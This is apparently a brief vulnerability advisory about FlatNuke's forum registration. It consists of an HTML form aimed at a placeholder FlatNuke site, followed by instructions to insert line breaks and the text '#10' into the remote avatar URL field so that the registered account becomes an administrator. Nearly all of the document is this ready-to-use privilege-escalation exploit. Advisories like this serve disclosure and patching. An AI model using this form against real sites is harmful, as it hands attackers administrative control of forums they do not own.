FlatNuke Form Submission Input Validation Vulnerability

FlatNuke Form Submission Input Validation Vulnerability

The following example submission form was provided:

<form action="http://www.sitewithflatnuke.org/forum/index.php" method=post name="registra">
<input type=hidden name=op value=reg>
Username*: <input name=nome><br>
Password*: <input name="regpass" type="password"><br>
Password*: <input name="reregpass" type="password"><br>
Name: <input name=anag><br>
E-mail: <input name=email><br>
Homepage: <input name=homep value="http://"><br>
Job: <input name=prof><br>
Country: <input name=prov><br>
<select name="ava">
<option value="">----</option>
<option value="blank.png">blank.png</option>
</select>
<br><br>
Or remote image URL:<br><br>
<textarea name="url_avatar" rows=5 cols=23></textarea>
<br>
Signature: <textarea name=firma rows=5 cols=23></textarea>
<center>
<input type=submit value="Send">
</center>
</form>

Open the form in a Web browser and enter information in all fields. In the url_avatar field, press Enter at least twice and insert the text "#10" without quotes. Submitting this form will cause the account to be created as an administrator account.